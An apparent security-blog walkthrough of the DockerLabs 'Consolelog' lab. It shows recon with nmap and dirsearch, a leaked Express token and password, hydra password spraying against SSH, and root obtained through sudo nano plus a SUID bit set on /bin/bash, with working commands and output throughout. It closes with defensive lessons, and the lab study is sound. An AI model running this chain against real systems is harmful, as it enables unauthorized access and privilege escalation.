the_open_door
coffee
ESEN

Consolelog

DockerLabsEasyLinux172.17.0.23 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#dockerlabs#api#info-disclosure#password-spraying#hydra#brute-force#sudo#gtfobins#nano#suid
TL;DR. Consolelog serves the source of its own backend: /backend/server.js downloads as plain text and inside are the endpoint, the token that opens it and the password it returns. With that password and no username you run password spraying against SSH (on port 5000) until lovely turns up. Their sudo rights over nano (GTFOBins) let you set the SUID bit on /bin/bash and escalate to root with bash -p.

Recon#

Initial scan#

The port scan finds a web server and, on non-standard ports, an API and SSH.


sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 172.17.0.2

nmap -p80,3000,5000 -sCV 172.17.0.2

The vault note keeps the definitions of the functions the two scans were launched with, but not their output, so there is no port table to transcribe here. The three ports are the ones the rest of the writeup demonstrates one by one: 80 through the whatweb below, 3000 through server.js itself and 5000 through the ssh -p 5000 used to get in.

On 80 there is an Apache with a static page:


whatweb http://172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.61], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.61 (Debian)], IP[172.17.0.2], Script, Title[Mi Sitio]

Directory fuzzing#

dirsearch against the root finds a /backend/:


dirsearch -u http://172.17.0.2
[00:45:05] Starting:
...
[00:45:18] 200 -  533B - /backend/
[00:45:29] 301 -  313B - /javascript →  http://172.17.0.2/javascript/
...
Task Completed

And against /backend/ comes what really matters: the directory is served with an open index, with package.json, node_modules/ and, above all, server.js.


dirsearch -u http://172.17.0.2/backend
[00:46:31] Starting: backend/
...
[00:47:01] 301 -  323B - /backend/node_modules →  http://172.17.0.2/backend/node_modules/
[00:47:01] 200 -    1KB - /backend/node_modules/
[00:47:02] 200 -  271B - /backend/package.json
[00:47:02] 200 -   25KB - /backend/package-lock.json
[00:47:08] 200 -  286B - /backend/server.js
Task Completed

Access: the backend source is served as text#

server.js#

http://172.17.0.2/backend/server.js downloads as is. Twenty lines of Express that tell you everything: which port the API listens on, through which method, which token it expects and what it answers when the token is right.

const express = require('express');
const app = express();

const port = 3000;

app.use(express.json());

app.post('/recurso/', (req, res) => {
    const token = req.body.token;
    if (token === 'tokentraviesito') {
        res.send('lapassworddebackupmaschingonadetodas');
    } else {
        res.status(401).send('Unauthorized');
    }
});

app.listen(port, '0.0.0.0', () => {
    console.log(`Backend listening at http://consolelog.lab:${port}`);
});

It is the whole leak in one file: the port (3000), the route (/recurso/), the method (POST), the token (tokentraviesito) and the password it hands back. Nothing to guess, just repeat the request the code itself describes:


curl -X POST "http://172.17.0.2:3000/recurso" --data "{'token':'tokentraviesito'}"
lapassworddebackupmaschingonadetodas

Password spraying against SSH#

We have a password but no username. Instead of brute-forcing passwords you do the opposite, password spraying: pin that single password with -p and vary the user with -L against SSH, which runs on port 5000.


hydra -L /home/krmena/SecLists/Usernames/xato-net-10-million-usernames.txt -p lapassworddebackupmaschingonadetodas ssh://172.17.0.2:5000 -t 64
...
[DATA] attacking ssh://172.17.0.2:5000/
[STATUS] 503.00 tries/min
[STATUS] 406.67 tries/min
[5000][ssh] host: 172.17.0.2   login: lovely   password: lapassworddebackupmaschingonadetodas
...

On the first hit it is cut short with Ctrl+C: lovely reuses the backup password (credential reuse: every password you find gets tried on every account and service, because reusing them across systems is the norm).


ssh lovely@172.17.0.2 -p 5000
lovely@172.17.0.2's password:
Linux edb4a12fc7e9 6.1...
...
lovely@edb4a12fc7e9:~$

Privilege escalation#

lovely's sudo rights#

lovely can run nano as root and without a password:


sudo -l
Matching Defaults entries for lovely on edb4a12fc7e9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User lovely may run the following commands on edb4a12fc7e9:
    (ALL) NOPASSWD: /usr/bin/nano

nano is an editor with built-in command execution, so GTFOBins turns it into a root shell. It opens as root:


sudo nano

Inside nano, CTRL+T swaps the bottom bar for a Command to execute: prompt, and whatever you type there is run by nano itself, which runs as root. Rather than asking for a shell straight away it marks bash SUID, which leaves the door open for later:


sudo chmod u+s /bin/bash

bash -p#

The s in the owner's permissions confirms the SUID bit is set:


ls -l /bin/bash
-rwsr-xr-x 1 root root 1265048 Mar 29  2024 /bin/bash

With /bin/bash SUID, bash -p keeps root's EUID instead of dropping it, and the prompt goes from $ to #:


bash -p
bash-5.2# whoami
root

Attack chain#

HTTP (80)  ->  dirsearch  ->  /backend/ with an open index
    └─> server.js served as text: port 3000, POST /recurso/, token and password
            └─> curl with the token  ->  the backup password
                    └─> password spraying (SSH on 5000)  ->  lovely
                            └─> sudo nano (CTRL+T)  ->  sudo chmod u+s /bin/bash  ->  bash -p  ->  root

Lessons learned#

  • Backend source does not get served next to the app. server.js sat under the same Apache as the site, in an indexed directory, and it is 286 bytes holding the port, the route, the method, the token and the password. Not one step of the attack had to be guessed.
  • An open directory index is half the enumeration handed over. The dirsearch against /backend/ did not have to guess the filename: the server listed it.
  • With a password but no username, spray, do not brute force. Pinning the password with -p and varying the user (-L) is what makes sense when you know the key, not the account.
  • Non-standard ports are not security. Moving SSH to 5000 and the API to 3000 hides nothing from a full port scan.
  • sudo nano is sudo bash. Any editor with an embedded shell (nano, vi, less) granted through sudo is a direct escalation; best kept out of sudoers.
Command cheatsheet 9 commands

Quick review